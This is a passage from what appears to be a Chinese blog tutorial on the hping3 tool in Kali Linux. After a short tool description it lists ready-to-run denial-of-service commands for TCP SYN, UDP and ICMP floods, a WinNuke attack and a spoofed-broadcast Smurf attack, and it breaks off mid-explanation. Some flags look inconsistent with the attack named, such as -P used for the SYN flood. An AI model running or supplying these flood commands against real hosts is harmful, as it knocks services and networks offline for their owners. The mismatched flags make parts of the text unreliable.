菜鸟kali实战之hping3

最新推荐文章于 2024-08-19 12:53:40 发布

Rookie_test

最新推荐文章于 2024-08-19 12:53:40 发布

阅读量3.9k

点赞数

分类专栏：工具使用文章标签：网络 linux

本文链接：https://blog.csdn.net/Rookie_test/article/details/107685002

版权

本文介绍了Kali Linux中hping3工具的使用，包括TCP SYN Flood、UDP Flood、ICMP Flood、Winnuke、Smurf和Land攻击等DOS攻击方法。此外，还提到了hping3的各种参数选项及其在网络安全测试中的应用。

摘要由CSDN通过智能技术生成

Hping百度百科
Hping是一个命令行下使用的TCP/IP数据包组装/分析工具，其命令模式很像Unix下的ping命令，但是它不是只能发送ICMP回应请求，它还可以支持TCP、UDP、ICMP和RAW-IP协议，它有一个路由跟踪模式，能够在两个相互包含的通道之间传送文件。Hping常被用于检测网络和主机，其功能非常强大，可在多种操作系统下运行，如Linux，FreeBSD，NetBSD，OpenBSD，Solaris，MacOs X，Windows。

DOS攻击
1.tcp syn flood 攻击
sudo hping3 192.168.200.1 -p 631 -P --flood
2.udp flood 攻击
sudo hping3 192.168.200.1 -p 631 -S --flood -2
3.icmp flood 攻击
sudo hping3 192.168.200.1 -p 631 -S --flood -1
4.winnuke 攻击
sudo hping3 -U 192.168.200.1 -p 139
注意事项: winnuke攻击的端口不仅是139端口，还有“138、137、 113、 53”等端口，
因此在测试时要注意将所有端口都覆盖到,关键一点是winnuke攻击特征为“flag=URG”，
因此不能以端口为特征来检测。
5.smurf 攻击
hping3 -1 -a 192.168.0.1 192.168.0.255
一个简单的Smurf攻击原理就是：通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。最终导致该网络的所有主机都对